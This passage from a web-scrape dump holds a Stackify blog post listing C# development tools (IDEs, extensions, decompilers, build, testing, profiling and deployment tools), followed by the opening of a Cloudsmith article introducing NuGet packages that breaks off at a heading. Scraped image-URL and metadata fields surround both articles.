"https://stackify.com/wp-content/uploads/2017/08/dockerdotnet-min-12972.jpg",
"https://stackify.com/wp-content/uploads/2017/08/dockerdotnet-min-12972.jpg",
"https://stackify.com/wp-content/themes/stackify/assets/img/apm-icon-sml.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/apm-icon-sml.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/profiling-icon-small.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/profiling-icon-small.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/errors-icon-sml.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/errors-icon-sml.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/logs-icon-small.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/logs-icon-small.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/monitor-icon-small.png",
"https://stackify.com/wp-content/themes/stackify/assets/img/monitor-icon-small.png",
"https://secure.gravatar.com/avatar/843dd18622024c41544b7b60a252a388?s=100&d=mm&r=g",
"https://secure.gravatar.com/avatar/843dd18622024c41544b7b60a252a388?s=100&d=mm&r=g",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-icon.svg",
"https://stackify.com/wp-content/themes/stackify/assets/img/search-icon.svg",
"https://stackify.com/wp-content/uploads/2018/02/Cloud-Depyloyment-Models-Featured-Image-Stackify-881x441-1-150x75.webp",
"https://stackify.com/wp-content/uploads/2018/02/Cloud-Depyloyment-Models-Featured-Image-Stackify-881x441-1-150x75.webp",
"https://stackify.com/wp-content/uploads/2018/04/Understanding_Java_Stack_Trace-881x441-1-150x75.webp",
"https://stackify.com/wp-content/uploads/2018/04/Understanding_Java_Stack_Trace-881x441-1-150x75.webp",
"https://stackify.com/wp-content/uploads/2018/08/Best-PHP-Frameworks-881x441-1-150x75.jpg",
"https://stackify.com/wp-content/uploads/2018/08/Best-PHP-Frameworks-881x441-1-150x75.jpg",
"https://stackify.com/wp-content/uploads/2018/10/Web-API-Error-Handling2-881x441-1-150x75.jpg",
"https://stackify.com/wp-content/uploads/2018/10/Web-API-Error-Handling2-881x441-1-150x75.jpg",
"https://stackify.com/wp-content/uploads/2019/02/Feature-Image-for-Blog-Article-PHP-Error-Log-Basics-2-881x441-1-150x75.jpg",
"https://stackify.com/wp-content/uploads/2019/02/Feature-Image-for-Blog-Article-PHP-Error-Log-Basics-2-881x441-1-150x75.jpg",
"https://stackify.com/wp-content/uploads/2023/03/The-Ultimate-Guide-to-Performance-Testing-and-Software-Testing-1-150x84.webp",
"https://stackify.com/wp-content/uploads/2023/03/The-Ultimate-Guide-to-Performance-Testing-and-Software-Testing-1-150x84.webp",
"https://stackify.com/wp-content/uploads/2024/08/Top-LInux-120x120.webp",
"https://stackify.com/wp-content/uploads/2024/08/Top-LInux-120x120.webp",
"https://stackify.com/wp-content/uploads/2024/08/Developers-Guide-to-Getting-Started-with-Pandas-P-120x120.webp",
"https://stackify.com/wp-content/uploads/2024/08/Developers-Guide-to-Getting-Started-with-Pandas-P-120x120.webp",
"https://stackify.com/wp-content/uploads/2024/07/Python-Logging-120x120.webp",
"https://stackify.com/wp-content/uploads/2024/07/Python-Logging-120x120.webp",
"https://stackify.com/wp-content/uploads/2024/07/Java-Programming-120x120.webp",
"https://stackify.com/wp-content/uploads/2024/07/Java-Programming-120x120.webp"
] |
[] |
[] |
[
""
] | null |
[
"Charris Herrera"
] |
2023-07-18T18:05:00+00:00
|
If you build apps using C#, you most likely use Visual Studio. However, adding a few of these ides will supercharge your development.
|
en
|
Stackify
|
https://stackify.com/best-csharp-tools/
|
The Ultimate List of C# Tools: IDEs, Profilers, Automation Tools, and More
C# is a widely used programming language in enterprises, especially for those that are heavily Microsoft-dependent. This language comprises a lot of tools with individual strengths. Here, we list C# tools for IDEs, profilers, automation tools, and more.
If you build apps using C#, you most likely use Visual Studio and have explored some of its extensions to supercharge your development. However, this list of C# tools might just change the way you write C# code for good.
Best tools for C# programming in the following categories:
IDEs
VS Extensions
Miscellaneous Tools
Decompilers & Code Conversion Tools
Build Automation & Merge Tools
Version Control
Testing Tools
Profilers
APM
Deployment Automation
Containerization
Use the links above to jump to tools in a specific section, or keep reading to browse the complete list.
IDEs
1. Visual Studio
@VisualStudio
Visual Studio is the flagship IDE for C# developers—even though, of course, it also supports other languages in the .NET ecosystem. It’s incredibly powerful, offering a myriad of features while, at the same time, being very approachable for newcomers and veterans alike. Also, Visual Studio is also extensible—through the use of extensions, you can augment its capabilities, tailoring it to your specific needs.
Visual Studio is currently in its 2022 edition, and it comes in three versions:
Visual Studio Community: free for open-source development and commercial use for up to 5 developers (in organizations with less than 250 people and which don’t make 1 million dollars of revenue per year.)
Visual Studio Professional: paid version for developers
Visual Studio Enterprise: paid version with powerful features aimed at architectural concerns
Key Features:
Publication of your app to several destinations
Easy integration with other developer tools by Microsoft (e.g., MS SQL Server.)
Powerful debug capabilities
Creation and management of containerized applications
Seamless integration with unit test frameworks
As we’ve said, Visual Studio is an excellent choice if you want a powerful IDE for C#. However, it does require a decent machine to run it, and it can feel sluggish at times. What if you prefer a more lightweight alternative?
That brings us to the next item on our list.
2. Visual Studio Code
@code
Visual Studio Code isn’t technically a C# IDE—or even an IDE, for that matter. Rather, Visual Studio Code (or simply VS Code) is an incredibly popular code editor you can use with pretty much any of the major programming languages. VS Code supports plenty of languages through the usage of plugins and extensions. You can use Visual Studio Code with the C# extension for powerful editing, plus full support for C# IntelliSense and debugging.
Key Features:
Excellent auto-complete with context-aware suggestions
Built-in Git integration for better version control
Huge list of extensions to further enhance the platform
Supports Mac, Linux, Windows, etc
Easily works with Software Configuration Management providers
Easily runs on Node JS
3. MonoDevelop
Developed by Xamarin, MonoDevelop has many similar features as VS Code and also supports cross-platform development. With MonoDevelop, you can quickly write desktop and web applications on Windows, Linux, and Mac OS X.
Key Features:
Standard features like code completion and debugging
Also ships with Unity, a game engine, which enables advanced C# programming for apps like video games
Code completion support for C#
Code templates and code folding
Supports multiple languages
[adinserter block=”33″]
4. Rider
@JetBrainsRider
Rider is a cross-platform .NET IDE tool from the comprehensive JetBrains suite of products. The tool works perfectly on the IntelliJ platform and ReSharper.
Key Features:
Integrates seamlessly with other JetBrains products
2000+ code checks
Hundreds of context actions and refactoring
Support for the Unity game engine
Supports both .NET Framework and .NET Core
Allows developer to split editor either horizontally or vertically
Built-in support with TypeScript, JavaScript, HTML, CSS, and Sass
Supports Windows, Linux, and Mac platforms
Visual Studio Extensions
5. SonarLint
@SonarLint
SonarLint is an extension that brings the power of the SonarQube analyzer to your IDE. With SonarLint, you can validate your code against many different rules regarding code formatting, bugs, security vulnerabilities, code smells, and more.
Key features:
Real-time feedback
Contextual assistance to solve issues
Support for many programming languages
Comprehensive ruleset (more than 5000 rules) covering many different aspects of code
6. Productivity Power Tools 2022
@VisualStudio
Provided by Microsoft, this is a great extension to quicken development with Visual Studio.
Key Features:
Middle-click scrolling
QuickFind
Solution error visualizer
Intuitive interface
Other versions are available for older Visual Studio versions
7. CodeMaid
@codemaid
CodeMaid is an open source VS extension that can help you clean up and simplify code in a variety of supported languages in addition to C#.
Key Features:
Gets rid of unnecessary characters like white space from your code
Reorganizes your code
Navigates code quickly using a tree view hierarchy
Supports multiple languages
Comment formatting
8. Refactoring Essentials
@vsrefractoring
Make your C# code easier to read and fix common errors with Refactoring Essentials, a VS extension with built-in code converters for C# and VB.
Key Features:
Fixes common typos and coding errors
Finds every style mismatch across your codebase
Open source code so you can extend or improve it for your purposes
Miscellaneous Tools
9. SlickEdit
@SlickEdit
SlickEdit is a code editing tool that can boost productivity and improve the quality of your code. It’s a cross-platform code editor that supports more than 60 languages (including C#) on nine platforms.
Key Features:
Compiles and debugs your code showing all errors for quick access
Handles very large files of code, as big as 2 TB
Syntax expansion and indenting
Keystroke emulations
Backup history
Multiple cursors and selections
Standard and Pro editions available to accommodate your needs
Develop for Raspberry Pi, macOS, Linux & Windows
10. Rextester
Rextester (which stands for Regular Expression Tester) is a simple online compiler for C#.
Key Features:
5 seconds of CPU time per each piece of code
150 MB of memory for each piece of code
Code runs in an appdomain with basic execution, reflection, thread control, and web privileges only
11. Jdoodle
@thenutpan
Another lightweight code compiler, Jdoodle supports 63 languages (including C#) and allows you to save your programs and share them with others through a URL. You can embed code created in Jdoodle to your website, use it for collaboration, online interviews, and more.
Key Features:
Quickly tests small pieces of code online without having to open the IDE
Easy to share your code with others
Compiles and executes programs via APIs
[adinserter block=”33″]
12. .NET Fiddle
@dotnetfiddle
.NET Fiddle is a popular fiddle tool for C# that comes from an inspiration of JSFiddle.net and is meant for quick, simple code testing without the need to open Visual Studio and create a new project.
Key Features:
Lets you write, save, and collaborate on C# code
Supports 4 project types: Console, Script, MVC, Nancy
Also, supports VB.NET and F#
13. Telerik Fiddler
@TelerikFiddler
Telerik Fiddler lets you execute code online and offers a range of functionality, including web debugging, web session manipulation, performance testing, security testing, and more.
Key Features:
Runs a series of performance, web debugging, and security tests
FiddlerCore lets you embed the Fiddler app into your own application so you can avoid the entire Fiddler UI, and still get all the functions of Fiddler
You might also want to compare Fiddler with Charles as another alternative.
14. Json.NET
@JamesNK
Json.NET is a popular JSON framework for .NET that runs on Windows, Windows Store, Windows Phone, Mono, and Xamarin and enables developers to create, parse, query, and modify JSON, convert between XML and JSON, and more.
Key Features:
Serialize and deserialize .NET objects
Query JSON databases
Create, parse, query, and modify JSON with JObject, JArray and JValue objects
Open source
Decompilers & Code Conversion Tools
15. dotPeek
@dotPeek
A free, standalone tool offered by JetBrains, dotPeek is based on ReSharper’s bundled decompiler that lets you decompile .NET assemblies into C#.
Key Features:
Powerful search and navigation features
Decompiles any .NET assembly into equivalent C# or IL code
Supports multiple formats (.dll, .exe, .winmd)
Saves decompiled assemblies as Visual Studio projects
16. Ilspy
@ilspy
An open source decompiler based on Red Gate’s .NET Reflector, which was discontinued in 2011, Ilspy requires .NET Framework 4.0.
Key Features:
Browse and decompile assemblies to C#
Saves an assembly as a C# project
Intuitive search and navigation features
Navigation history
Supports C# 5.0 “async”
Decompilation to VB and C#
17. JustDecompile
@Telerik
A capable decompiler from Telerik, JustDecompile is a free, open source decompilation engine.
Key Features:
Extensible with an open API
Fast code navigation
Easily switch between methods and assemblies in tabs
Bookmark usages in loaded assemblies
Creates a Visual Studio project from a decompiled assembly
Visual Studio extension for decompiling within VS projects
18. Telerik Code Converter
@Telerik
Telerik Code Converter converts VB code to C# and vice versa. A simple, yet powerful tool, Telerik Code Converter is easy to use with an intuitive, straightforward interface.
Key Features:
Cloud-based conversion that’s quick and hassle-free
Uses NRefactory library for complex code conversions
Built with Telerik UI for ASP.NET AJAX
Build Automation & Merge Tools
19. Cake Build
@cakebuildnet
Cake (C# Make) is a C# version of the open source Make build automation tool. A cross-platform build automation system, Cake uses a C# DSL for tasks such as compiling code, running unit tests, copying files and folders, compressing files, and building NuGet packages.
Key Features:
Available on Windows, Linux, and Mac OS X
Built to behave in the same way as other CI systems
Supports build tools including MSBuild, MSTest, xUnit, NUnit, NuGet, ILMerge, WiX, and SignTool
Very extensible
20. MSBuild
@VisualStudio
Microsoft launched MSBuild in 2008. It’s not part of the Visual Studio platform, but it’s a good resource for your C# development toolkit for certain use cases, such as building code projects apart from a solution.
Key Features:
Coming from Microsoft, it was widely used by many MS shops
Microsoft has baked it into Visual Studio ensuring it doesn’t get orphaned
Build multiple projects and multiple configurations for multiple platforms
Build Win32, x86, x64, or any CPU platforms
21. FinalBuilder
@FinalBuilder
FinalBuilder is an excellent commercial option for a build automation tool. With FinalBuilder, you don’t need to edit XML or write scripts to automate your build process.
Key Features:
Makes builds easy by including visual debugging
Visually defines and debugs your build scripts
Schedules scripts with Windows scheduler
Integrates with Continua CI, Jenkins, or any other CI Server
22. SemanticMerge
@semanticmerge
SemanticMerge understands your code and is designed to handle code that has been moved or modified, making it a powerful tool for team collaboration.
Key Features:
Enables collaboration and a distributed approach to development
Starts with structural merge, then moves to more specific text based merge when conflicts occur
Merges based on structure rather than location
Deals with language-specific conflicts
Avoids incorrectly identified automatic merges
Maintains cleaner code and understands changes
Version Control
23. Git
Git really needs no introduction. It’s a free, open source version control system, and the most popular version control system used today.
Key Features:
Modern version control tool for today’s geographically distributed teams
Includes strong defaults for conflict resolution, auto recovery, and more
Inexpensive local branching
Convenient staging areas
Multiple workflows
24. Team Foundation Version Control
@VisualStudio
TF Version Control is Microsoft’s alternative to Git, well integrated into Visual Studio, and enterprise-ready, so it’s a good choice for teams of any size working with VS projects.
Key Features:
Leverages Visual Studio features to provide a native experience
Tracks code changes across branches
Provides feedback before code is checked in
Integrates with the most popular tools for CI and build automation
25. BitBucket
@Bitbucket
BitBucket is a capable version control tool and Jira’s alternative to Git, with many third parties proclaiming it, “the only collaborative Git solution that massively scales.”
Key Features:
Collaborate faster with inline commenting options
Host it yourself as the code is open sourced, or let Jira manage it for you
Pull requests allow for more efficient code review approvals
Uninterrupted access with BitBucket Data Center
Unlimited private repositories
26. SourceTree
@sourcetree
SourceTree is another Jira offering, a free Git client for Windows and Mac, with a simple Git GUI for managing your repositories.
Key Features:
Supports Windows and Mac
Visually interacts with your repositories
Simplifies distributed version control
Simple enough for beginners; powerful enough for experts
Supports Git LFS
Testing Tools & VS Extensions
27. LINQPad
@linqpad
A tool to instantly test code snippets in C#, F#, and VB, LINQPad lets you query databases interactively.
Key Features:
Has its own query language LINQ, which is a powerful way to query databases quickly
Great for learning C# as it gives you many of the features of an IDE without the bloat
Query databases in LINQ, SQL/CE/Azure, Oracle, SQLite, and MySQL
Rich output formatting
Script and automate in your preferred .NET language
28. Selenium
@SeleniumHQ
Selenium is one of the most popular testing tools available today. It automates web browsers so you can run tests at scale with precision.
Key Features:
Automates boring web-based administration tasks
Creates robust regression automation suites and tests
Scales and distributes scripts across environments
Build your own Selenium server or use a vendor-provided, hosted option
29. ReSharper
@resharper
JetBrains’ ReSharper is a Visual Studio extension for .NET developers for analyzing code quality on the fly, eliminating errors, safely changing the code base, and more.
Key Features:
Provides on-the-fly code analysis
Quick fixes for errors
Assists with complex refactoring
Multiple code-editing helpers
30. OzCode
@oz_code
OzCode is a Visual Studio extension for C# offering powerful debugging tools, so you can spend more time developing and less time debugging.
Key Features:
Easily find and fix bugs right within Visual Studio
Works great with ReSharper
Figures out complex expressions with Magic Glance
Powerful search, reveal, and compare features
31. CodeRush
@CodeRush
CodeRush is a VS extension that helps you find and fix issues easily, like several other testing tools in this section.
Key Features:
Visually highlights problems across the codebase and helps you spot issues quickly
Quickly creates new tests and test suites with shortcuts
Easy refactoring
Profilers
32. Prefix
@Stackify
A lightweight developer tool for .NET, Java, PHP, Node.js, Ruby, and Python, Prefix shows you logs, errors, queries, and more in real-time. It works within your existing workstation, and is free.
Key Features:
Provides a detailed trace of every web request
No messy config or code changes
Instant download; get immediate code insights
View logs by request
Find hidden exceptions
View SQL queries
Quickly pinpoint suspicious behavior
33. dotTrace
@dottrace
JetBrains’ dotTrace is a profiler that helps troubleshoot performance issues and speed up applications.
Key Features:
Understand how SQL queries and HTTP requests affect application performance
View line-by-line profiling data and get specific performance metrics
Gets data on calls execution time
Profiles SQL queries, HTTP requests, static methods and unit tests
Profiles and visualizes results within Visual Studio
34. ANTS Performance Profiler
@redgate
ANTS Performance Profiler is a profiling tool for .NET code, including C#, that provides line-by-line profiling statistics.
Key Features:
View performance data for SQL queries and HTTP requests
Provides line-by-line results
Shows historic performance over time
Provides insight into long-term performance
35. N Profiler
@NProfiler
A fast, accurate performance profiler, N Profiler provides rich .NET performance data to save you up to 90% of optimization time.
Key Features:
Find out if database queries, or long I/O times are causing performance issues
Organize performance metrics are in a Call Tree and viewed at the overview or details level
APM
36. Retrace
@Stackify
Retrace is the only developer tool that combines APM, logs, errors, metrics, and monitoring in a single platform to help you build better applications. Designed for production and pre-production servers, Retrace starts at just $10 per month.
Key Features:
Collects performance data at the code level
Performs application and server logging
Provides application metrics from a variety of sources
Delivers error tracking and monitoring
Works out of the box with your existing stack
Free Trial
Deployment Automation
37. Octopus
@OctopusDeploy
The leading deployment automation tool for C#, Octopus takes the reins where your CI tool ends, making it possible to automate complex application deployments.
Key Features:
Provision and configure new machines to deploy your app
Integrates with CI servers to extend build automation and CI processes into deployment
Promotes releases between environments
Repeatable, reliable deployments
38. Appveyor
@appveyor
A CI build server that takes care of not just builds, but deployments too, Appveyor is robust, secure, and requires no setup to get started.
Key Features:
End-to-end solution for builds, testing, and deployment
Easy to use and requires no setup
Isolated build environments
Developer-friendly build configs using UI or YAML
Built-in deployment and NuGet server
Multi-branch builds
39. AppHarbor
@appharbor
AppHarbor does more than deployment: it’s a fully-hosted .NET Platform-as-a-Service used to host everything from personal blogs to high-traffic web apps.
Key Features:
Takes code from a source code repository and deploys it on its own hosted platform
Instantly deploys and scales .NET applications using your favorite versioning tool
Don’t worry about scaling your infrastructure to keep up with load, AppHarbor takes care of it all for you
40. Jenkins
@jenkinsci
More than a deployment automation tool, Jenkins is the most popular CI server that’s extending its reach to the deployment and delivery phases as well.
Key Features:
Rich collection of extensions to suit every stack
End-to-end solution from build to deployment
Hundreds of plugins to support building, deployment, and automation
Containerization
41. Docker.DotNet
@nuget
Docker.DotNet is a C# client library for the Docker API. With it, you can interact with the Docker Remote API programmatically.
Key Features:
Can be installed via the NuGet library manager for Visual Studio
Enables fully asynchronous, non-blocking, object oriented code in .NET
Choose the Best C# Tool for Your Application
All the C# tools above are tried and tested by a lot of developers.
What’s important is that you choose a tool that you can trust and rely on for developing a robust application. To ensure that your app is running smoothly, you need a reliable Application Performance Monitoring (APM) tool that can help you write better code and deploy applications with fewer backfires. Try out Stackify by Netreo’s FREE code profiler, Prefix, and be amazed at how it can help strengthen the code you develop and applications you create!
Improve Your Code with Retrace APM
Stackify's APM tools are used by thousands of .NET, Java, PHP, Node.js, Python, & Ruby developers all over the world.
Explore Retrace's product features to learn more.
App Performance Management
Code Profiling
Error Tracking
Centralized Logging
App & Server Metrics
Learn More
|
|||||
8582
|
dbpedia
|
3
| 6
|
https://cloudsmith.com/blog/what-is-nuget
|
en
|
What is NuGet?
|
[
"https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=640&q=75&fit=clip&auto=format 640w, https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=750&q=75&fit=clip&auto=format 750w, https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=828&q=75&fit=clip&auto=format 828w, https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=1080&q=75&fit=clip&auto=format 1080w, https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=1200&q=75&fit=clip&auto=format 1200w, https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=1920&q=75&fit=clip&auto=format 1920w, https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=2048&q=75&fit=clip&auto=format 2048w, https://cdn.sanity.io/images/rafvlnhi/production/169a0960296aaf86f46c17a1575e0b917b7d600a-4139x2363.png?w=3840&q=75&fit=clip&auto=format 3840w",
"https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=640&q=75&fit=clip&auto=format 640w, https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=750&q=75&fit=clip&auto=format 750w, https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=828&q=75&fit=clip&auto=format 828w, https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=1080&q=75&fit=clip&auto=format 1080w, https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=1200&q=75&fit=clip&auto=format 1200w, https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=1920&q=75&fit=clip&auto=format 1920w, https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=2048&q=75&fit=clip&auto=format 2048w, https://cdn.sanity.io/images/rafvlnhi/production/ddda2efd9a97ab11dd1c2d606e1fe18105fde66a-4139x2363.png?w=3840&q=75&fit=clip&auto=format 3840w",
"https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=640&q=75&fit=clip&auto=format 640w, https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=750&q=75&fit=clip&auto=format 750w, https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=828&q=75&fit=clip&auto=format 828w, https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=1080&q=75&fit=clip&auto=format 1080w, https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=1200&q=75&fit=clip&auto=format 1200w, https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=1920&q=75&fit=clip&auto=format 1920w, https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=2048&q=75&fit=clip&auto=format 2048w, https://cdn.sanity.io/images/rafvlnhi/production/6405ba91d2fd1adc726b2f85d8eb1d12a6b3647b-1982x1119.png?w=3840&q=75&fit=clip&auto=format 3840w",
"https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=640&q=75&fit=clip&auto=format 640w, https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=750&q=75&fit=clip&auto=format 750w, https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=828&q=75&fit=clip&auto=format 828w, https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=1080&q=75&fit=clip&auto=format 1080w, https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=1200&q=75&fit=clip&auto=format 1200w, https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=1920&q=75&fit=clip&auto=format 1920w, https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=2048&q=75&fit=clip&auto=format 2048w, https://cdn.sanity.io/images/rafvlnhi/production/81d5eb19c12d9d46ea98f85336b20edec4b6ef13-1500x844.png?w=3840&q=75&fit=clip&auto=format 3840w",
"https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=640&q=75&fit=clip&auto=format 640w, https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=750&q=75&fit=clip&auto=format 750w, https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=828&q=75&fit=clip&auto=format 828w, https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=1080&q=75&fit=clip&auto=format 1080w, https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=1200&q=75&fit=clip&auto=format 1200w, https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=1920&q=75&fit=clip&auto=format 1920w, https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=2048&q=75&fit=clip&auto=format 2048w, https://cdn.sanity.io/images/rafvlnhi/production/89308fdac78ed6df85e2580548f0ea124f63f7d0-1000x647.jpg?w=3840&q=75&fit=clip&auto=format 3840w",
"https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=640&q=75&fit=clip&auto=format 640w, https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=750&q=75&fit=clip&auto=format 750w, https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=828&q=75&fit=clip&auto=format 828w, https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=1080&q=75&fit=clip&auto=format 1080w, https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=1200&q=75&fit=clip&auto=format 1200w, https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=1920&q=75&fit=clip&auto=format 1920w, https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=2048&q=75&fit=clip&auto=format 2048w, https://cdn.sanity.io/images/rafvlnhi/production/0af710110cb4559f7a58b8377e0eed4c108168f0-1000x563.png?w=3840&q=75&fit=clip&auto=format 3840w",
"https://cloudsmith.com/_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=640&q=100 640w, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=750&q=100 750w, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=828&q=100 828w, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=1080&q=100 1080w, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=1200&q=100 1200w, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=1920&q=100 1920w, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=2048&q=100 2048w, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fitemeditorimage_622a38f754aa5.png&w=3840&q=100 3840w",
"https://cloudsmith.com/_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fprofile-pic--2-.png&w=64&q=75 1x, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fprofile-pic--2-.png&w=128&q=75 2x",
"https://cloudsmith.com/_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fprofile-pic--2-.png&w=128&q=75 1x, /_next/image?url=https%3A%2F%2Fcloudsmith.ghost.io%2Fcontent%2Fimages%2F2022%2F05%2Fprofile-pic--2-.png&w=256&q=75 2x",
"https://simple.cloudsmith.com/noscript.gif",
"https://px.ads.linkedin.com/collect/?pid=5351930&fmt=gif"
] |
[
"https://www.youtube.com/embed/ohaz_sPLp4Y?feature=oembed"
] |
[] |
[
""
] | null |
[] | null |
You’ve probably heard the term “NuGet” in reference to code packages, package managers, software libraries, and even software installers. Learn about the NuGet universe as part of our Package series.
|
en
|
/favicon.svg
|
Cloudsmith
|
https://cloudsmith.com/blog/what-is-nuget
|
An Introduction to NuGet
If you’ve spent any amount of time in the .NET / Microsoft developer ecosystem, you’ve probably heard the term “NuGet” in reference to code packages, package managers, software libraries, and even software installers. Understandably, this can cause a lot of confusion around what NuGet actually is.
This article will help you understand:
What NuGet is
Where NuGet came from
What a NuGet package is
Common use cases and tooling for NuGet packages
What is NuGet?
NuGet is the official package management system for .NET development. This includes a platform and tooling to help .NET developers create, publish, consume, and share reusable code. The format in which the code is bundled is called a NuGet package, which is simply a shareable unit of code.
Where did NuGet come from?
NuGet was created in 2010 (under the name “NuPack”) by the Outercurve Foundation, a non-profit founded by Microsoft. The goal of this foundation was to "enable the exchange of code and understanding among software companies and open source communities." The Outercurve Foundation was a precursor to the current .Net Foundation and contributed projects like NuGet to this group.
So what’s in a NuGet Package?
So what actually is a NuGet package? Well, the short answer is it’s just a fancy zip file that uses the “.nupkg” extension. This archive can contain:
Compiled code in the form of libraries (DLL’s), or in some cases binaries (EXE’s and MSI’s)
Additional files related to the code (often describing how to use/install it)
A manifest file (“.nuspec”) detailing metadata about the package (version, author, etc.)
Where are NuGet packages stored?
